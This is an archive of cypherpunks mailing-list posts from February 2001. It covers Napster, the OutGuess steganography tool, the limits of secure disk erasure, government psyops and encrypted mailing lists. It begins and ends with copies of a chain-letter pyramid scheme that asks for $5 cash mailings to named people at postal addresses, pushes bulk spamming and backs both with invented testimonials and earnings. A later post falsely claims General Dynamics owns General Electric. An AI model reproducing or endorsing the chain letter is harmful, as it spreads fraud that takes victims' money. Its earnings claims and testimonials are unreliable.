you can save them on your computer and resell them.
YOUR TOTAL COST $5 X 5=$25.00. 

Within a few days you will receive, vie e-mail, each of
the 5 reports from these 5 different individuals. Save
them on your computer so they will be accessible for
you to send to the 1,000's of people who will order them 
from you. Also make a floppy of these reports and keep
it on your desk in case something happen to your computer. 

IMPORTANT - DO NOT alter the names of the people
who are listed \ next to each report, or their sequence 
on the list, in any way other than what is instructed
below in step '' 1 through 6 '' or you will loose out on
majority of your profits. Once you understand the way
this works, you will also see how it does not work if you
change it. Remember,this method has been tested,
and if you alter, it will NOTwork !!! People have tried
to put their friends/relatives names on all five thinking
they could get all the money.But it does not work this
way. Believe us, we all have tried to be greedy and
then nothing happened. So Do Not try to change
anything other than what is instructed. Because if you
do, it will not work for you. 
Remember, honesty reaps the reward!!! 

1.... After you have ordered all 5 reports, take this
advertisement and REMOVE the name & address of
the person in REPORT # 5. This person has made it
through the cycle and is no doubt counting their fortune. 

2.... Move the name & address in REPORT # 4 down TO REPORT # 5. 

3.... Move the name & address in REPORT # 3 down TO REPORT # 4. 

4.... Move the name & address in REPORT # 2 down TO REPORT # 3. 

5.... Move the name & address in REPORT # 1 down TO REPORT # 2 

6.... Insert YOUR name & address in the REPORT # 1 Position. 
PLEASE MAKE SURE you copy every name & address ACCURATELY! 

================================================
**** Take this entire letter, with the modified list of 
names, and save it on your computer. DO NOT 
MAKE ANY OTHER CHANGES. 

Save this on a disk as well just in case if you loose 
any data. To assist you with marketing your business on
the internet, the 5 reports you purchase will provide you
with invaluable marketing information which includes
how to send bulk e-mails legally, where to find thousands
of free classified ads and much more. There are 2 
Primary methods to get this venture going: 

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY 
=================================================

It's say that you decide to start small, just to see how it 
goes, and we will assume You and those involved send
out only 5,000 e-mails each. Let's also assume that the
mailing receive only a 0.2% response (the response could
be much better but lets just say it is only 0.2%. Also many
people will send out hundreds of thousands e-mails 
instead of only 5,000 each). Continuing with this example, 
you send out only 5,000 e-mails. 

With a 0.2% response, that is only 10 orders for 
report # 1. Those 10 people responded by sending
out 5,000 e-mail each for a total of 50,000. Out of 
those 50,000 e-mails only 0.2% responded with 
orders. That's=100 people responded and ordered 
Report # 2. 

Those 100 people mail out 5,000 e-mails each 
for a total of 500,000 e-mails. The 0.2% response to
that is 1000 orders for Report # 3. 

Those 1000 people send out 5,000 e-mails each for
a total of 5 million e-mails sent out. The 0.2%
response to that is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each
for a total of 50,000,000 (50 million) e-mails. The
0.2% response to that is 100,000 orders for 
Report # 5 THAT'S 100,000 ORDERS TIMES 
$5 EACH=$500,000.00 (half million). 

Your total income in this example is: 1..... 
$50 + 2..... $500 + 3.....$5,000 + 4..... $50,000 + 
5..... $500,000 ........ Grand Total=$555,550.00 

NUMBERS DO NOT LIE. GET A PENCIL & 
PAPER AND FIGURE OUT THE WORST
POSSIBLE RESPONSES AND NO MATTER
HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY ! 

============================================ 
REMEMBER FRIEND, THIS IS ASSUMING 
ONLY 10 PEOPLE ORDERING OUT OF 
5,000 YOU MAILED TO. 
Dare to think for a moment what would happen
if everyone or half or even one 4th of those people
mailed 100,000e-mails each or more? There are over 
150 million people on the Internet worldwide and
counting. Believe me, many people will do just
that, and more! 

METHOD # 2 : BY PLACING FREE ADS ON THE INTERNET 
=================================================
Advertising on the net is very very inexpensive and there
are hundreds of FREE places to advertise. Placing a lot
of free ads on the Internet will easily get a larger response.
We strongly suggest you start with Method # 1 and
add METHOD # 2 as you go along. For every $5 you
receive,all you must do is e-mail them the Report they 
ordered. That's it. Always provide same day service on 
all orders. 

This will guarantee that the e-mail they send out, 
with your name and address on it, will be prompt
because they cannot advertise until they
receive the report. 

=============AVAILABLE REPORTS ============

ORDER EACH REPORT BY ITS NUMBER & 
NAME ONLY. Notes: Always send $5 cash 
(U.S. CURRENCY) for each Report. Checks NOT 
accepted. Make sure the cash is concealed by 
wrapping it in at least 2 sheets of paper. On one
of those sheets of paper, Write the NUMBER 
& the NAME of the Report you are ordering, 
YOUR E-MAIL ADDRESS 
and your name and postal address. 

PLACE YOUR ORDER FOR THESE REPORTS NOW: 
============================================
Report # 1: 'The Insider's Guide to Advertising for Free on the Net 

Order Report #1 from:

JW
PO Box 344
Pfafftown, NC 27040
USA

______________________________________________________
REPORT # 2: The Insider's Guide to Sending Bulk e-mail on the Net

Order Report # 2 from: 

Richard E. Weaver
P.O. Box 67
St.Johnsville, NY 13452
USA 

______________________________________________________
REPORT # 3: Secret to Multilevel marketing on the net

Order Report # 3 from: 

A. Smith
P.O. Box 573072
Houston, TX 77257-3072
USA 

______________________________________________________
REPORT # 4: How to become a Millionaire utilizing MLM & the Net 

Order Report # 4 from: 

CJ
P.O. 130157
Roseville, MN 55113
USA 

______________________________________________________
REPORT #5: How to send out 0ne million emails for free!

Order Report # 5 From:

R.B.
Box 21115
Grande Prairie
Alberta, T8V-6W7
CANADA
______________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$ 

Follow these guidelines to guarantee your success: 

=== If you do not receive at least 10 orders for Report 
#1 within 2 weeks, continue sending e-mails until you do. 

=== After you have received 10 orders, 2 to 3 weeks
after that you should receive 100 orders or more for 
REPORT # 2. If you did not, continue advertising or
sending e-mails until you do. 

=== Once you have received 100 or more orders
for Report # 2, YOU CAN RELAX, because the 
system is already working for you, and the cash will
continue to roll in ! THIS IS IMPORTANT TO 
REMEMBER: Every time your name is moved 
down on the list, you are placed in front of a
Different report. 

You can KEEP TRACK of your PROGRESS
by watching which report people are ordering 
from you. IF YOU WANT TO GENERATE
MORE INCOME SEND ANOTHER BATCH
OF E-MAILS AND START THE WHOLE
PROCESS AGAIN. There is NO LIMIT 
to the income you can generate from this business !!! 

==========================================

FOLLOWING IS A NOTE FROM THE 
ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you
financial freedom for the rest of your life, with NO
RISK and JUST A LITTLE BIT OF EFFORT. You 
can make more money in the next few weeks 
and months than you have ever imagined. Follow the
program EXACTLY AS INSTRUCTED. Do Not change
it in any way. It works exceedingly well as it is now. 

Remember to e-mail a copy of this exciting report
after you have put your name and address in 
Report #1 and moved others to #2 ...........# 5 as 
instructed above. One of the people you send this
to may send out 100,000 = or more e-mails and your
name will be on every one of them. Remember 
though, the more you send out the more potential
customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity
to become financiallyindependent.
 IT IS UP TO YOU NOW ! 

============ MORE TESTIMONIALS ============ 

'' My name is Mitchell. My wife, Jody and I live
in Chicago. I am an accountant with a major U.S.
Corporation and I make pretty good money.
When I received this program I grumbled to 
Jody about receiving ''junk mail''. I made fun of the
whole thing, spouting my knowledge of the population
and percentages involved. I ''knew'' it wouldn't work.
Jody totally ignored my supposed intelligence and
few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old 
''I told you so'' on her when the thing didn't work. Well, 
the laugh was on me! Within 3 weeks she had 
received 50 responses. Within the next 45 days 
she had received total $ 147,200.00 ........... 
all cash! I was shocked. I have joined 
Jody in her ''hobby''. 
Mitchell Wolf M.D., Chicago, Illinois 
=========================================
'' Not being the gambling type, it took me several 
weeks to make up my mind to participate in this plan.
But conservative that I am, I decided that the 
initial investment was so little that there was just 
no way that I wouldn't get enough orders to at 
least get my money back''. '' I was surprised when 
I found my medium size post office box crammed 
with orders. I made $319,210.00 in the first 
12 weeks. The nice thing about this deal is that 
it does not matter where people live. There simply 
isn't a better investment with a faster return and so big''. 
Dan Sondstrom, Alberta, Canada 
=============================================
'' I had received this program before. I deleted it, but 
later I wondered if I should have given it a try. Of course,
I had no idea who to contact to get another copy, so 
I had to wait until I was e-mailed again by someone else
........11 months passed then it luckily came again......
I did not delete this one! I made more than $490,000
on my first try and all the money came within 22 weeks''. 
Susan De Suza, New York, N.Y. 
============================================== 
'' It really is a great opportunity to make relatively easy
money with little cost to you. I followed the simple 
instructions carefully and within 10 days the money 
started to come in. My first month I made $ 20, 560.00
and by the end of third month my total cash count was
$ 362,840.00. Life is beautiful, Thanx to internet''. 
Fred Dellaca, Westport, New Zealand 
=============================================== 

ORDER YOUR REPORTS TODAY AND GET STARTED 
ON YOUR ROAD TO FINANCIAL FREEDOM !

================================================ 
If you have any questions of the legality of this
program, contact the Office of Associate Director 
for Marketing Practices, Federal Trade Commission,
Bureau of Consumer Protection, Washington, D.C. 


To be Removed from this mailing list: 
remove at 4ahomeloan.net




From k.brown at ccs.bbk.ac.uk  Mon Feb 19 02:20:29 2001
From: k.brown at ccs.bbk.ac.uk (Ken Brown)
Date: Mon, 19 Feb 2001 10:20:29 +0000
Subject: Taxes on hard drives
References: <F1997kNSRQDgFwZq7RW00005755@hotmail.com> <p04320410b6b3c4cae4e9@[10.1.1.42]> <3A8E818C.DC23BACD@ccs.bbk.ac.uk> <p04320403b6b65665c298@[10.1.1.200]>
Message-ID: <3A90F36D.578571D2@ccs.bbk.ac.uk>


petro wrote:

> 
>         Napster isn't a "market force", they produce no revenue, they
> make no money. Yet.

Napster is a *market*. The relevant "market forces" are people who would
like to listen to music who can get it cheaper through Napster.

Ken




From jamesd at echeque.com  Mon Feb 19 10:54:48 2001
From: jamesd at echeque.com (James A. Donald)
Date: Mon, 19 Feb 2001 10:54:48 -0800
Subject: [release] OutGuess 0.2 - universal steganography (fwd)
In-Reply-To: <3A911C13.B0BADACC@ricardo.de>
References: <Pine.LNX.3.96.1010217183324.5925R-100000@einstein.ssz.com>
Message-ID: <5.0.2.1.0.20010219105009.02b76f28@shell11.ba.best.com>


     --
 > > Release announcement of OutGuess 0.2
 > > ------------------------------------
 > >
 > > OutGuess is a universal steganographic tool that allows the
 > > insertion of hidden information into the redundant bits of data
 > > sources.  It is undetectable by known statistical tests and
 > > provides for plausible deniability.

  At 02:13 PM 2/19/2001 +0100, Tom wrote:
 > does anyone know what KIND of "plausible deniability" ? just that
 > which stego always offers? ("uh, there's a message in that picture?
 > I just thought she's hot...")

According to the web page http://www.outguess.org/  it offers a lot better 
than that.  Supposedly the spooks cannot detect the presence of a secret 
message unless they have the key, or the original unaltered jpg.

Of course, to be secure, you have to generate lots of original images, so 
that the spooks have no original to compare wiht, preferably somewhat noisy 
original images.  A sports site is ideal for this, particularly photos of 
sports being played in the rain.

     --digsig
          James A. Donald
      6YeGpsZR+nOTh/cGwvITnSR3TdzclVpR0+pr3YYQdkG
      g5Y4QmSIf2l1Kip1WX2kV3xkmY+K53ds7bPDUJ8D
      4lATHltw7YSh0+033xSnkUqk56bj5zl8mFPMRS58l




From jchoate at dev.tivoli.com  Mon Feb 19 08:58:20 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Mon, 19 Feb 2001 10:58:20 -0600
Subject: Linux Today - LinuxGazette: Securely Erasing a Hard Drive with Perl
Message-ID: <3A9150AC.F4DFEBC6@dev.tivoli.com>


http://linuxtoday.com/news_story.php3?ltsn=2001-02-18-016-20-PS-HW-HL
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From bear at sonic.net  Mon Feb 19 11:38:13 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 19 Feb 2001 11:38:13 -0800 (PST)
Subject: Secure Erasing is actually harder than that...
In-Reply-To: <3A9150AC.F4DFEBC6@dev.tivoli.com>
Message-ID: <Pine.LNX.4.21.0102191121420.14771-100000@bolt.sonic.net>



A much better article on the topic can be found at 

http://www.cs.auckland.ac.nz/~pgut001/secure_del.html

The problem is that data that's been written over once, or even 
twice or ten times, can often still be read if someone actually 
takes the platters out and uses electromagnetic microscopy on 
them. 

If you "erase" data using the perl script in the article Jim 
pointed at, it will be safe from J. Random who doesn't have 
much time, money, or technique to spend on it.  But it won't 
be safe from TLA's, commercial data-recovery shops, or any 
seriously "hardcore" hackers (or people who, for example, know 
enough to take it to a commercial data-recovery shop). 

To actually finish the job, you'd want extremely low-level 
access to the drive, including the ability to micro-adjust 
the head alignment so as to write garbage both hubward and 
rimward of where the track you're trying to erase *ought* 
to be within its sector, which of course would require you 
to be able to relocate the info on the sectors physically 
hubward or rimward of the track you were trying to erase, 
because writing hubward or rimward with micro-adjustments 
within a sector could cause errors on those adjacent sectors. 

I don't know of any OS that provides sufficiently low-level 
HD access to allow people to create a portable utility that 
does really secure deletion.  Hell, a lot of Hard Drives 
don't even have drivers that support the needed operations.

The moral of the story is, in a really secure system, the 
plaintext NEVER hits your hard drive.  

				Bear


On Mon, 19 Feb 2001, Jim Choate wrote:

>http://linuxtoday.com/news_story.php3?ltsn=2001-02-18-016-20-PS-HW-HL
>-- 
>   The Laws of Serendipity:
>
>   1. In order to discover anything, you must be looking
>      for something.
>
>   2. If you wish to make an improved product, you must
>      first be engaged in making an inferior one.  
>
>   Tivoli Certification Group, OSCT
>   James Choate                           jchoate at tivoli.com
>   Senior Engineer                        512-436-1062
>




From bear at sonic.net  Mon Feb 19 11:43:54 2001
From: bear at sonic.net (Ray Dillinger)
Date: Mon, 19 Feb 2001 11:43:54 -0800 (PST)
Subject: The CIA for Kids?
In-Reply-To: <v04220809b6b70e1578e5@[198.4.94.186]>
Message-ID: <Pine.LNX.4.21.0102191140260.14771-100000@bolt.sonic.net>




On Mon, 19 Feb 2001, Matthew Gaylor wrote:

>The CIA for Kids?
>
>The Central Intelligence Agency now has a web site for children.  And 
>I'm not kidding. http://www.cia.gov/cia/ciakids/index.html
>
<clip>
>
>And nary a ripple surfaced last year by the mainstream media when it 
>was revealed that the US Army's Psychological Operations Units do 
>Internships at CNN and other news outlets.

Have you noticed that General dynamics owns General Electric, who 
in turn own NBC and RCA?  So how do we like getting large chunks of 
our news broadcasts and pop music from one of the government's major 
arms dealers?

				Bear




From freematt at coil.com  Mon Feb 19 09:54:05 2001
From: freematt at coil.com (Matthew Gaylor)
Date: Mon, 19 Feb 2001 12:54:05 -0500
Subject: The CIA for Kids?
Message-ID: <v04220809b6b70e1578e5@[198.4.94.186]>


The CIA for Kids?

The Central Intelligence Agency now has a web site for children.  And 
I'm not kidding. http://www.cia.gov/cia/ciakids/index.html

At their site you can "Fly High On Intelligence, NOT Drugs".  Kids 
get to learn why the CIA is involved in thwarting nacrotraffic and 
finding money launders while playing such games as "Break the Code" 
or the "Geography Trivia Quiz".  Or budding junior spies can bone up 
with the "Intelligence Book List" or take a virtual tour of the CIA.

Most of the alphabet soup agencies have rushed head long into 
providing content for children both overtly as evidenced by sites 
such as the CIA's and much more ominously, covertly.

You may have heard that the White House's Office of National Drug 
Control Policy (ONDCP) http://www.whitehousedrugpolicy.gov/ pays 
popular Hollywood TV programs to insert anti-drug messages into the 
story lines of the shows.  After some protests among civil 
libertarians, the ONDCP in conjunction with the TV producers agreed 
to mention in the credits that the program was supported by ONDCP. 
This is the same agency that was forced last June to stop tracking 
computer users who viewed their anti drug advertisements on the 
Internet.  Their use violated federal privacy guidelines.  See: 
http://www.nytimes.com/library/tech/00/06/biztech/articles/22net.html

What is less widely known and is not in my opinion publicized due to 
political reasons, is the US Justice Department's practice of 
inserting anti-gun propaganda in various TV programming. Much of the 
anti-gun messages are cloaked in anti-violence material.  In 1999 
MTV, the popular music television station owned by Viacom 
International, released a CD Rom titled "Fight For Your Rights: take 
a stand against violence".  The CD included works by Lauryn Hill, The 
Dave Matthews Band, Everclear, The Backstreet Boys, Alanis 
Morrissette, Tori Amos and included sound bites from other popular 
artists.  Adam Yauch of the Bestie Boys on track 13, the last track 
of the CD, mentioned that the only way to stop violence was to ban 
guns.

I received my free copy of the CD-Rom directly from the US Justice 
Department's Office of Juvenile Justice.

And nary a ripple surfaced last year by the mainstream media when it 
was revealed that the US Army's Psychological Operations Units do 
Internships at CNN and other news outlets.

In March of 2000 I posted some information to my worldwide mailing 
list, Freematt's Alerts, on the subject of Psychological Operations 
On The Internet. I had posted some information on UKUSA's Echelon, 
the global spy network.

I posted some info from John Young's <jya at pipeline.com> excellent 
site:   http://cryptome.org/

In particular I posted this quote from http://cryptome.org/madsen hmhd.htm

"They constantly broadcast disinformation to television and radio 
audiences in Haiti, Serbia, Colombia, Mexico and elsewhere."

Lo and behold, I got contacted by a member of the US Army Reserve's 
246th Psychological Operations Company from Columbus, Ohio who took 
exception with that comment.  His title is All-Source Intelligence 
Analyst and Psychological Operations Specialist.

He claims to have contacted me as a private citizen and he mentioned 
that he didn't tell me anything that wasn't open information. I 
engaged with him over several emails then I switched into an IRC 
channel for a couple of hours and I quizzed him on several issues 
that some of you may find noteworthy.  I'll refer to him as Agent X 
out respect for his privacy.

Agent X wrote:
I find it interesting how people with very little information about 
what information the U.S. Actually does put out are so quick to 
judge.  The USIA/USIS and Army Psyop do try to  earn people's support 
for U.S. policy.    This "disinformation" that is put out is Mine 
awareness so that children don't end up dead or maimed, they try to 
get civilians to clear military convoy routes so that relief aid can 
be  transported to the needy, like the orphanage in Haiti that had 
run out of food because a tropical storm had knocked out the bridge 
on the only road to  them.  The U.S. did not engage in the use of the 
Internet as an information tool in Bosnia as the legality of the 
issue was still under debate.  Under U.S. law and Army Policy no 
Psyop may be conducted on U.S. citizens.  The internet being an open 
medium would have allowed U.S. citizens to be subjected to the 
information.  As such the internet was not used.

An article written about my Psychological Operations Unit in Haiti:

http://www.dtic.mil/soldiers/may95/p40.html

Matthew Gaylor's response: I opinioned that sending troops down to 
Haiti to perform community service seems like a total waste of money 
as the service could have been done by a well equipped Boy Scout 
troop.

Agent X continued:
The goal of psyop is to win the hearts and minds...the nuns were 
greatful...do you think they supported our mission there after that? 
My  units mission is tactical meaning we coordinate radio broadcasts, 
distribute  fliers and do loudspeaker broadcasts.  I know the 
internet was not used for  psyop in bosnia for a fact.  The army was 
still developing its policy on that  medium.  There is a terrific 
after action report online that discusses the failure of the US to 
seize this medium.

http://www.dodccrp.org/bosend.htm

This is the end notes that discusses the internet failure.  I warn 
you its  quite dry and the psyop bit is towards the end.  At the base 
of the page is  URLs to the rest of the site for the full article.

Matthew Gaylor responded:
I can fully believe that the Internet wasn't used in Haiti, after all 
it isn't used in Cuba either, because hardly anybody has a decent 
supply of toilet paper let alone Internet access.

Agent X responds:
As to the internet and haiti... the comment had to do more with our 
supposed  "disinformation" then on the use of the internet but you're 
right in Haiti that would be a poor medium.

The US is just now bringing its Psyop units up for capability to use 
the  internet.  All information distributed must be approved by the 
National  Command during peace time.  SO everything we get is drawn 
up by others.  That  way the entire campaign is coordinated 
effectively and no messages that would  offend are put out.

What I'm saying is that up to 1997 the US had not been involved in 
psyacts on  the internet.  That was Bosnia...now as to Kosovo in 1999 
the situation
hasn't changed much...but we will use any means to cripple an enemies 
communication systems...such as denial of service and such in serbia.

###

The following interchanges occurred between myself (Wagthedogy) and 
Agent X using an instant message service. Some of the comments 
started out specific to Ohio, but then branched out.

Wagthedogy:	What does Sen. Mike Dewine (R) Ohio have?
Agent X:	Influence in Washington
Wagthedogy   I mean, what issues?
Agent X	He's pretty standard party line republican
Wagthedogy: You mean gun control, larger government etc.?
Agent X:	well theoretically...republicans want smaller government
Wagthedogy:  Don't listen to what they say watch what they do.  In 
psyopps you should know that.
Agent X:	yes but I'm not a total libertarian either
Agent X:	is why I pick and choose
Wagthedogy:	It doesn't matter how libertarian you are.  What 
matters is if you believe in freedom and the constitution.
Agent X:	I believe in strong national defense
Wagthedogy:	Me too
Wagthedogy:	But we have troops in Columbia fighting the drug war 
as an example.
Agent X:	we provide MI support
Agent X:	and occasionally we send units to train with the columbians
Wagthedogy:	Delta is on the ground in Columbia running missions
Agent X:	Yes and usarso has done it too and one of my good 
friends was there.

Wagthedogy:	What major issue to you differ with the Libertarians?
Agent X:	yes but I don't think we should have no government either
Wagthedogy:	Me either
Agent X:	I believe in some foreign aid and intervention
Wagthedogy:	How much and to who?
Agent X:	To any ally strategically of interest to us. Georgia 
is a huge one at the moment. It is important we keep russia from 
redominating half the world
Wagthedogy:	Like Chile?  Kissinger once remarked it was a giant 
dagger pointed towards antarctica <grin>
Wagthedogy:	3 billion to Israel?
Agent X:	Georgia is at the center of a sphere of influence 
that surrounds the majority of the worlds oil.

Wagthedogy:	Here's a question for you.  What is your world view? 
What do you believe?
Agent X:	world view? meaning?
Wagthedogy:	Ideology, culture, religion, you're relationship to 
others, etc.
Agent X:	As an american I was brought up in one of the most 
ethnocentric cultures in the world as to religion I'm atheist as to a 
christian god...agnostic as to a God. I was raised lower income 
protestant Am now middle income. Is that what you wanted to know or?
Wagthedogy:	What about your political ideology.  What 
thinkers/writers have influenced you?
Agent X:	well not really political but I like Nietzsche...as 
to politics I haven't read much I've read Machevellis "The Prince", 
Thomas More's "Utopia", I've read Brave New World, 1984, Fahrenheit 
451, Animal Farm...all those sorts of things.
Wagthedogy:	That's a good start.
Wagthedogy:	Do you plan to enter the Army full time?
Agent X:	no...having dual job specialties in the army...with 
psyop and mi always short handed I can be on active duty as much as I 
want

Agent X:	SWIC is the Special Warfare Instruction Center...well 
the John Fitzgerald Kenenedy SWIC...its at Ft. Bragg anyway their 
website will probably tell you more
Wagthedogy:	What schools in the Army have you been to?
Agent X:	basic training ft leonard wood, ait ft huachuca - all 
source intel analyst course,basic airborne ft benning,jrtc ft polk, 
ft knox psychological operations specialist.
Wagthedogy:	I sure hope you didn't help set up the loudspeakers at WACO
Agent X:	No
Wagthedogy:	That's an example of psyopps.
Agent X:	if any psyop was there at all it was the 321s or 5th 
I forget out of dallas. But I'm pretty sure that was FBI stuff not 
Army. National guard was there but they have no psyop assets. For 
psyop to have been there they would have had to be called up by 
presidential order.
Wagthedogy:	FBI with Delta advisors.

[End note from Matthew Gaylor: I edited the above text for clarity 
and I sniped some irrelevant commentary.]

Regards, Matt-


**************************************************************************
Subscribe to Freematt's Alerts: Pro-Individual Rights Issues
Send a blank message to: freematt at coil.com with the words subscribe FA
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Matthew Gaylor, 2175 Bayfield Drive, Columbus, OH 43229
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**************************************************************************




From rachel at intertrader.com  Mon Feb 19 05:34:40 2001
From: rachel at intertrader.com (Rachel Willmer)
Date: Mon, 19 Feb 2001 13:34:40 +0000
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
Message-ID: <3337136558.982589680@[10.0.0.5]>

This might be a FAQ. Or it might just be a question with a really obvious 
answer that I can't see for looking.

How can I set up a mailing list or online forum with encrypted traffic?

The clients are varied platforms: Win98, WinNT, OpenBSD, FreeBSD.

I thought about tweaking the listserver to send out encrypted mails. But 
that doesn't help the inbound traffic.

I thought about using some online forum. But the only one I can find which 
looks to make any mention of the word security is Groove. Which is Windows 
only.

I thought about setting up a VPN between the various mailservers. But we'd 
have to secure all the MX hosts to be sure, and some of them aren't 
adminstratively accessible by me. and anyway one of the potential users 
uses a public ISP,

so um, help! is this a FAQ with no answer? or is this a question with an 
answer so obvious I'll blush when I'm told what it is...

All suggestions welcome...
Rachel





From tom at ricardo.de  Mon Feb 19 04:55:25 2001
From: tom at ricardo.de (Tom)
Date: Mon, 19 Feb 2001 13:55:25 +0100
Subject: dutch take strong stance on software-patents
References: <3A8CEAC9.20470.7A327@localhost>
Message-ID: <3A9117BD.ACB1D8BD@ricardo.de>


sparky wrote:
> > the dutch parliament members have made a decision today that
> > software-patents in the netherlands shall either remain banned, and
> > the law be cleared up in this respect, or subject to a scrutiny that
> > shall be strict enough to eliminate most of the 30,000 "garbage
> > patents" (as the meeting report calls it!) currently granted by the
> > european patent office.
> >
> >
> Got a reference?
> 

posted to discussie at opensource.nl by Luuk van Dijk who, I think,
attended the hearing. note that no law or such has been passed so far,
the MPs had a hearing to make up their mind, and among others, free
software people had been invited.


I can dig out the full mail, if you want it.




From tom at ricardo.de  Mon Feb 19 05:01:01 2001
From: tom at ricardo.de (Tom)
Date: Mon, 19 Feb 2001 14:01:01 +0100
Subject: Why Gnutella Can't Scale. No, Really
References: <Pine.LNX.4.21.0102161033220.11632-100000@bolt.sonic.net>
Message-ID: <3A91190D.4756171@ricardo.de>


Ray Dillinger wrote:
> I don't know if it implements exactly the same protocol, but
> SuSE 7.1 (released on the 12th of February, which is an interesting
> date considering the timing of the napster ruling) contains something
> called "gnapster".

gnapster is a gtk-napster client. I'm pretty sure it uses the same
protocol, since it connects to the main napster servers. :)




From tom at ricardo.de  Mon Feb 19 05:13:55 2001
From: tom at ricardo.de (Tom)
Date: Mon, 19 Feb 2001 14:13:55 +0100
Subject: [release] OutGuess 0.2 - universal steganography (fwd)
References: <Pine.LNX.3.96.1010217183324.5925R-100000@einstein.ssz.com>
Message-ID: <3A911C13.B0BADACC@ricardo.de>


Jim Choate wrote:
> Release announcement of OutGuess 0.2
> ------------------------------------
> 
> OutGuess is a universal steganographic tool that allows the insertion
> of hidden information into the redundant bits of data sources.  It
> is undetectable by known statistical tests and provides for plausible
> deniability.


does anyone know what KIND of "plausible deniability" ? just that which
stego always offers? ("uh, there's a message in that picture? I just
thought she's hot...")

or does it offer alternatives? before or after?




From mdc128 at BCRU.yahoo.com  Mon Feb 19 15:12:07 2001
From: mdc128 at BCRU.yahoo.com (John)
Date: Mon, 19 Feb 2001 15:12:07 -0800 (PST)
Subject: Need extra money for the holidays? -QOXD
Message-ID: <200102192312.PAA23721@cyberpass.net>


********************************************************
THIS LETTER CONSTITUTES NO GUARANTEES STATED OR 
IMPLIED.  IN THE EVENT THAT IT IS DETERMINED THAT THIS
LETTER CONSTITUTES A GUARANTEE OF ANY KIND, THAT 
GUARANTEE IS NOW VOID. ANY TESTIMONIALS OR
AMOUNTS OF EARNINGS LISTED IN THIS LETTER MAY BE 
FACTUAL OR FICTITIOUS. 
*********************************************************
Dear cypherpunks:

AS SEEN ON NATIONAL TV:

''Making over half million dollars every 4 to 5 months from your home 
for an investment of only $25 U.S. Dollars expense one time''

THANKS TO THE COMPUTER AGE AND THE INTERNET!
===============================================

BE A MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!

Before you say ''bull'', please read the following. This is the letter you 
Have been hearing about on the news lately. Due to the popularity of this 
letter on the Internet, a national weekly news program recently devoted 
an entire show to the investigation of this program described below, to 
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The show also investigated whether or not the program was legal. Their 
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DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT 
THIS PROGRAM HAS ATTAINED, IT IS CURRENTLY WORKING 
BETTER THAN EVER.

This is what one had to say:

''Thanks to this profitable opportunity. I was approached many times 
before but each time I passed on it. I am so glad I finally joined just to 
see what one could expect in return for the minimal effort and money 
required. To my astonishment, I received total $610,470.00 in 21 weeks, 
with money still coming in''.
                                        Pam Hedland, Fort Lee, New Jersey.

-------------------------------------------------------------------------

                             Here is another testimonial:

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But one day when I received this again in the mail I decided to gamble 
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the next 2 months after that I made a total of $290,000.00.
So far, in the past 8 months by re-entering the program, I have made over 
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program is to follow the simple steps and NOT change anything.''

                          More testimonials later but first,

*** PRINT THIS NOW FOR YOUR FUTURE REFERENCE ****

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
If you would like to make at least $500,000 every 4 to 5 months easily 
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$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR 
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                                   INSTRUCTIONS:

**** Order all 5 reports shown on the list below.

**** For each report, send $5 CASH, THE NAME & NUMBER OF 
THE REPORT YOU ARE ORDERING and YOUR E-MAIL 
ADDRESS to the person whose name appears ON THAT LIST next to 
the report.
MAKE SURE YOUR RETURN ADDRESS IS ON YOUR ENVELOPE 
TOP LEFT CORNER in case of any mail problems.

 **** When you place your order, make sure you order each of the 5 
reports.  You will need all 5 reports so that you can save them on your 
computer and resell them.  YOUR TOTAL COST $5 X 5 = $25.00.

 **** Within a few days you will receive, vie e-mail, each of the 5 
reports from these 5 different individuals. Save them on your computer 
to they will be accessible for you to send to the 1,000's of people who 
will order them from you. Also make a floppy of these reports and keep 
it on your desk in case something happens to your computer.

 **** IMPORTANT - DO NOT alter the names of the people who are 
listed next to each report, or their sequence on the list, in any way other 
than what is instructed below in step '' 1 through 6 '' or you will loose out 
on majority of your profits. Once you understand the way this works, you 
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Remember, this method has been tested, and if you alter, it will NOT 
work!!! People have tried to put their friends/relatives names on all five 
thinking they could get all the money. But it does not work this way. 
Believe us, we all have tried to be greedy and then nothing happened.  So 
Do Not try to change anything other than what is instructed. Because if 
you do, it will not work for you.   Remember, honesty reaps the 
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1.. After you have ordered  all 5 reports, take this advertisement and 
REMOVE the name & address of the person in REPORT # 5. This 
person has made it through the cycle and is no doubt counting their 
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2.... Move the name & address in REPORT #4 down TO REPORT #5.

3.... Move the name & address in REPORT #3 down TO REPORT #4.

4.... Move the name & address in REPORT #2 down TO REPORT #3.

5.... Move the name & address in REPORT #1 down TO REPORT #2

6.... Insert YOUR name & address in the REPORT #1 Position.

     PLEASE MAKE SURE you copy every name & address 
ACCURATELY!
===================================================

Take this entire letter, with the modified list of names, and save it on
your computer. DO NOT MAKE ANY OTHER CHANGES.  Save this 
on a disk as well just in case if you loose any data.

To assist you with marketing your business on the Internet, the 5 reports 
you purchase will provide you with invaluable marketing information 
which includes how to send bulk e-mails legally, where to find thousands 
of free classified ads and much more.

There are 2 Primary methods to get this venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
============================================
Let's say that you decide to start small, just to see how it goes, and we 
will assume You and those involved send out only 5,000 e-mails each. 
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those 50,000 e-mails only 0.2% responded with orders. That's = 100 
people responded and ordered Report # 2. Those 100 people mail out 
5,000 e-mails each for a total of 500,000 e-mails. The 0.2% response to 
that is 1000 orders for Report # 3. Those 1000 people send out 5,000 
